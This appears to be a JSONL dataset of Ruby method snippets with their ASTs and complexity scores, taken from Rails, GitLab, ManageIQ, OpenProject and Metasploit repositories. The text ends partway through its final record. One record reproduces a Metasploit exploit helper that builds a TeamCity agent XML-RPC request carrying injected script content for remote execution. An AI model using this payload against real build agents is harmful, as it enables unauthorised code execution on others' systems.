{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/core_test.rb","start_line":226,"raw_source":"def test_pretty_print_with_overridden_attribute_for_inspect\n    topic = topics(:first)\n\n    topic.instance_eval do\n      def attribute_for_inspect(attr_name)\n        if attr_name == \"title\"\n          title.upcase.inspect\n        else\n          super\n        end\n      end\n    end\n\n    Topic.stub(:attributes_for_inspect, :all) do\n      actual = +\"\"\n      PP.pp(topic, StringIO.new(actual))\n      assert_match(/title: \"THE FIRST TOPIC\"/, actual)\n    end\n  end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_pretty_print_with_overridden_attribute_for_inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[null,\"topics\",{\"type\":\"sym\",\"children\":[\"first\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"instance_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"attribute_for_inspect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]},\"upcase\"]},\"inspect\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"attributes_for_inspect\"]},{\"type\":\"sym\",\"children\":[\"all\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PP\"]},\"pp\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"title: \\\"THE FIRST TOPIC\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}]}]}","id":"0e4fb955-d816-4a74-a631-5198f4186b77"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_ldap.rb","start_line":64,"raw_source":"def resolve_host(hosts, port)\n    hosts = Array.wrap(hosts)\n\n    selected_host = nil\n    valid_address = false\n\n    hosts.each do |host|\n      if host.ipaddress?\n        selected_host = host\n        addresses = Array.wrap(host) # Host is already an IP Address, no need to resolve\n      else\n        begin\n          selected_host, _aliases, _type, *addresses = TCPSocket.gethostbyname(host) # Resolve hostname to IP Address\n          $log.info(\"MiqLdap.connection: Resolved host [#{host}] has these IP Address: #{addresses.inspect}\") if $log\n        rescue => err\n          $log.debug(\"Warning: '#{err.message}', resolving host: [host]\")\n          next\n        end\n      end\n\n      addresses.each do |address|\n        begin\n          $log.info(\"MiqLdap.connection: Connecting to IP Address [#{address}]\") if $log\n          @conn = TCPSocket.new(address, port)\n          valid_address = true\n          break\n        rescue => err\n          $log.debug(\"Warning: '#{err.message}', connecting to IP Address [#{address}]\")\n        end\n      end\n\n      return selected_host if valid_address\n    end\n\n    raise Net::LDAP::Error, \"unable to establish a connection to server\"\n  end","complexity_score":50.1,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hosts\"]},{\"type\":\"arg\",\"children\":[\"port\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hosts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"hosts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"selected_host\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"valid_address\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hosts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"ipaddress?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selected_host\",{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"lvasgn\",\"children\":[\"addresses\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selected_host\"]},{\"type\":\"lvasgn\",\"children\":[\"_aliases\"]},{\"type\":\"lvasgn\",\"children\":[\"_type\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"addresses\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TCPSocket\"]},\"gethostbyname\",{\"type\":\"lvar\",\"children\":[\"host\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MiqLdap.connection: Resolved host [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\"] has these IP Address: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addresses\"]},\"inspect\"]}]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Warning: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\"', resolving host: [host]\"]}]}]},{\"type\":\"next\",\"children\":[]}]}]},null]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addresses\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"address\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MiqLdap.connection: Connecting to IP Address [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"address\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@conn\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TCPSocket\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"valid_address\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"break\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Warning: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\"', connecting to IP Address [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"address\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"valid_address\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected_host\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"Error\"]},{\"type\":\"str\",\"children\":[\"unable to establish a connection to server\"]}]}]}]}","id":"18933eaf-1dbb-473b-a11b-3274a23e67ce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240729033450_add_import_placeholder_limits_to_plan_limits.rb","start_line":6,"raw_source":"def change\n    add_column :plan_limits, :import_placeholder_user_limit_tier_1, :integer, null: false, default: 0\n    add_column :plan_limits, :import_placeholder_user_limit_tier_2, :integer, null: false, default: 0\n    add_column :plan_limits, :import_placeholder_user_limit_tier_3, :integer, null: false, default: 0\n    add_column :plan_limits, :import_placeholder_user_limit_tier_4, :integer, null: false, default: 0\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"plan_limits\"]},{\"type\":\"sym\",\"children\":[\"import_placeholder_user_limit_tier_1\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"plan_limits\"]},{\"type\":\"sym\",\"children\":[\"import_placeholder_user_limit_tier_2\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"plan_limits\"]},{\"type\":\"sym\",\"children\":[\"import_placeholder_user_limit_tier_3\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"plan_limits\"]},{\"type\":\"sym\",\"children\":[\"import_placeholder_user_limit_tier_4\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"f0b9cd60-69f7-4c1b-98b6-f20507b07ce8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/enc_kdc_response.rb","start_line":75,"raw_source":"def decode(input)\n            case input\n            when String\n              decode_string(input)\n            when OpenSSL::ASN1::ASN1Data\n              decode_asn1(input)\n            else\n              raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode EncKdcResponse, invalid input'\n            end\n\n            self\n          end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[null,\"decode_string\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Data\"]},{\"type\":\"send\",\"children\":[null,\"decode_asn1\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"Error\"]},\"KerberosDecodingError\"]},{\"type\":\"str\",\"children\":[\"Failed to decode EncKdcResponse, invalid input\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"e6db5bbc-6451-4bb8-a7a8-f24e67122d50"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/test_case_test.rb","start_line":301,"raw_source":"def test_head\n    head :test_params\n    assert_equal 200, @response.status\n  end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_head\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"test_params\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[200]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"status\"]}]}]}]}","id":"701b2915-b39e-4835-8f1c-ac1f87c42be5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/snippet.rb","start_line":172,"raw_source":"def click_delete_button\n          click_element('snippets-more-actions-dropdown-toggle')\n          click_button('Delete')\n          click_element('delete-snippet-button')\n          # wait for the page to reload after deletion\n          wait_until(reload: false) do\n            has_no_element?('delete-snippet-button') &&\n              has_no_element?('snippet-action-button', action: 'Delete')\n          end\n        end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"click_delete_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"snippets-more-actions-dropdown-toggle\"]}]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"Delete\"]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"delete-snippet-button\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reload\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_no_element?\",{\"type\":\"str\",\"children\":[\"delete-snippet-button\"]}]},{\"type\":\"send\",\"children\":[null,\"has_no_element?\",{\"type\":\"str\",\"children\":[\"snippet-action-button\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"Delete\"]}]}]}]}]}]}]}]}","id":"b86cfb35-9712-4e49-86f9-28350282a237"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241015201907_replace_fk_on_work_item_related_link_restrictions.rb","start_line":26,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key_if_exists :work_item_related_link_restrictions,\n        column: :source_type_id,\n        name: SOURCE_CONSTRAINT_NAME\n      remove_foreign_key_if_exists :work_item_related_link_restrictions,\n        column: :target_type_id,\n        name: TARGET_CONSTRAINT_NAME\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"work_item_related_link_restrictions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"source_type_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"SOURCE_CONSTRAINT_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"work_item_related_link_restrictions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"target_type_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"TARGET_CONSTRAINT_NAME\"]}]}]}]}]}]}]}","id":"cc40c115-39a7-43b3-ac97-a3973e08800b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/teamcity_agent_xmlrpc_exec.rb","start_line":435,"raw_source":"def req_teamcity_8(script_content)\n    build_id = Rex::Text.rand_text_numeric(8)\n    xml_payload = %(\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodCall>\n  <methodName>buildAgent.runBuild</methodName>\n  <params>\n    <param>\n      <value>\n        <![CDATA[\n          <AgentBuild>\n            <myBuildId>#{build_id}</myBuildId>\n            <myBuildTypeId>x</myBuildTypeId>\n            <myCheckoutType>ON_AGENT</myCheckoutType>\n            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>\n            <myServerParameters class=\"tree-map\">\n              <entry>\n                <string>system.build.number</string>\n                <string>0</string>\n              </entry>\n            </myServerParameters>\n            <myAccessCode/>\n            <myArtifactDependencies/>\n            <myArtifactPaths/>\n            <myBuildTypeOptions/>\n            <myFullCheckoutReasons/>\n            <myPersonalVcsChanges/>\n            <myUserBuildParameters/>\n            <myVcsChanges/>\n            <myVcsRootCurrentRevisions class=\"tree-map\"/>\n            <myVcsRootEntries/>\n            <myVcsRootOldRevisions class=\"tree-map\"/>\n            <myBuildRunners>\n              <jetbrains.buildServer.agentServer.BuildRunnerData>\n                <myId>x</myId>\n                <myIsDisabled>false</myIsDisabled>\n                <myRunType>simpleRunner</myRunType>\n                <myRunnerName>x</myRunnerName>\n                <myChildren class=\"list\"/>\n                <myServerParameters class=\"tree-map\">\n                    <entry>\n                      <string>teamcity.build.step.name</string>\n                      <string>x</string>\n                    </entry>\n                  </myServerParameters>\n                <myRunnerParameters class=\"tree-map\">\n                  <entry>\n                    <string>script.content</string>\n                    <string>#{script_content}</string>\n                  </entry>\n                  <entry>\n                    <string>teamcity.step.mode</string>\n                    <string>default</string>\n                  </entry>\n                  <entry>\n                    <string>use.custom.script</string>\n                    <string>true</string>\n                  </entry>\n                  </myRunnerParameters>\n                </jetbrains.buildServer.agentServer.BuildRunnerData>\n            </myBuildRunners>\n            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>\n            <myBuildFeatures/>\n          </AgentBuild>\n        ]]>\n      </value>\n    </param>\n  </params>\n</methodCall>\n    )\n    return xml_payload.strip!\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"req_teamcity_8\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"script_content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"build_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"lvasgn\",\"children\":[\"xml_payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"]},{\"type\":\"str\",\"children\":[\"<methodCall>\\n\"]},{\"type\":\"str\",\"children\":[\"  <methodName>buildAgent.runBuild</methodName>\\n\"]},{\"type\":\"str\",\"children\":[\"  <params>\\n\"]},{\"type\":\"str\",\"children\":[\"    <param>\\n\"]},{\"type\":\"str\",\"children\":[\"      <value>\\n\"]},{\"type\":\"str\",\"children\":[\"        <![CDATA[\\n\"]},{\"type\":\"str\",\"children\":[\"          <AgentBuild>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myBuildId>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build_id\"]}]},{\"type\":\"str\",\"children\":[\"</myBuildId>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myBuildTypeId>x</myBuildTypeId>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myCheckoutType>ON_AGENT</myCheckoutType>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myServerParameters class=\\\"tree-map\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"              <entry>\\n\"]},{\"type\":\"str\",\"children\":[\"                <string>system.build.number</string>\\n\"]},{\"type\":\"str\",\"children\":[\"                <string>0</string>\\n\"]},{\"type\":\"str\",\"children\":[\"              </entry>\\n\"]},{\"type\":\"str\",\"children\":[\"            </myServerParameters>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myAccessCode/>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myArtifactDependencies/>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myArtifactPaths/>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myBuildTypeOptions/>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myFullCheckoutReasons/>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myPersonalVcsChanges/>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myUserBuildParameters/>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myVcsChanges/>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myVcsRootCurrentRevisions class=\\\"tree-map\\\"/>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myVcsRootEntries/>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myVcsRootOldRevisions class=\\\"tree-map\\\"/>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myBuildRunners>\\n\"]},{\"type\":\"str\",\"children\":[\"              <jetbrains.buildServer.agentServer.BuildRunnerData>\\n\"]},{\"type\":\"str\",\"children\":[\"                <myId>x</myId>\\n\"]},{\"type\":\"str\",\"children\":[\"                <myIsDisabled>false</myIsDisabled>\\n\"]},{\"type\":\"str\",\"children\":[\"                <myRunType>simpleRunner</myRunType>\\n\"]},{\"type\":\"str\",\"children\":[\"                <myRunnerName>x</myRunnerName>\\n\"]},{\"type\":\"str\",\"children\":[\"                <myChildren class=\\\"list\\\"/>\\n\"]},{\"type\":\"str\",\"children\":[\"                <myServerParameters class=\\\"tree-map\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"                    <entry>\\n\"]},{\"type\":\"str\",\"children\":[\"                      <string>teamcity.build.step.name</string>\\n\"]},{\"type\":\"str\",\"children\":[\"                      <string>x</string>\\n\"]},{\"type\":\"str\",\"children\":[\"                    </entry>\\n\"]},{\"type\":\"str\",\"children\":[\"                  </myServerParameters>\\n\"]},{\"type\":\"str\",\"children\":[\"                <myRunnerParameters class=\\\"tree-map\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"                  <entry>\\n\"]},{\"type\":\"str\",\"children\":[\"                    <string>script.content</string>\\n\"]},{\"type\":\"str\",\"children\":[\"                    <string>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script_content\"]}]},{\"type\":\"str\",\"children\":[\"</string>\\n\"]},{\"type\":\"str\",\"children\":[\"                  </entry>\\n\"]},{\"type\":\"str\",\"children\":[\"                  <entry>\\n\"]},{\"type\":\"str\",\"children\":[\"                    <string>teamcity.step.mode</string>\\n\"]},{\"type\":\"str\",\"children\":[\"                    <string>default</string>\\n\"]},{\"type\":\"str\",\"children\":[\"                  </entry>\\n\"]},{\"type\":\"str\",\"children\":[\"                  <entry>\\n\"]},{\"type\":\"str\",\"children\":[\"                    <string>use.custom.script</string>\\n\"]},{\"type\":\"str\",\"children\":[\"                    <string>true</string>\\n\"]},{\"type\":\"str\",\"children\":[\"                  </entry>\\n\"]},{\"type\":\"str\",\"children\":[\"                  </myRunnerParameters>\\n\"]},{\"type\":\"str\",\"children\":[\"                </jetbrains.buildServer.agentServer.BuildRunnerData>\\n\"]},{\"type\":\"str\",\"children\":[\"            </myBuildRunners>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>\\n\"]},{\"type\":\"str\",\"children\":[\"            <myBuildFeatures/>\\n\"]},{\"type\":\"str\",\"children\":[\"          </AgentBuild>\\n\"]},{\"type\":\"str\",\"children\":[\"        ]]>\\n\"]},{\"type\":\"str\",\"children\":[\"      </value>\\n\"]},{\"type\":\"str\",\"children\":[\"    </param>\\n\"]},{\"type\":\"str\",\"children\":[\"  </params>\\n\"]},{\"type\":\"str\",\"children\":[\"</methodCall>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml_payload\"]},\"strip!\"]}]}]}]}","id":"e9588d81-0898-4eb4-8825-7d5bd1440ba6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/ci/runner_manager_type.rb","start_line":48,"raw_source":"def executor_name\n        ::Ci::RunnerManager::EXECUTOR_TYPE_TO_NAMES[runner_manager.executor_type&.to_sym]\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"executor_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"RunnerManager\"]},\"EXECUTOR_TYPE_TO_NAMES\"]},\"[]\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runner_manager\"]},\"executor_type\"]},\"to_sym\"]}]}]}","id":"8d8d9eae-2688-4fab-90af-bc6679ea6636"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/watcher_filter.rb","start_line":102,"raw_source":"def where_self_watcher(user_id)\n    <<-SQL\n      #{WorkPackage.table_name}.id #{operator == '=' ? 'IN' : 'NOT IN'}\n        (SELECT #{db_table}.watchable_id\n         FROM #{db_table}\n         WHERE #{db_table}.watchable_type='WorkPackage'\n         AND #{::Queries::Operators::Equals.sql_for_field [user_id], db_table, db_field})\n    SQL\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"where_self_watcher\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".id \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator\"]},\"==\",{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"str\",\"children\":[\"IN\"]},{\"type\":\"str\",\"children\":[\"NOT IN\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        (SELECT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_table\"]}]},{\"type\":\"str\",\"children\":[\".watchable_id\\n\"]},{\"type\":\"str\",\"children\":[\"         FROM 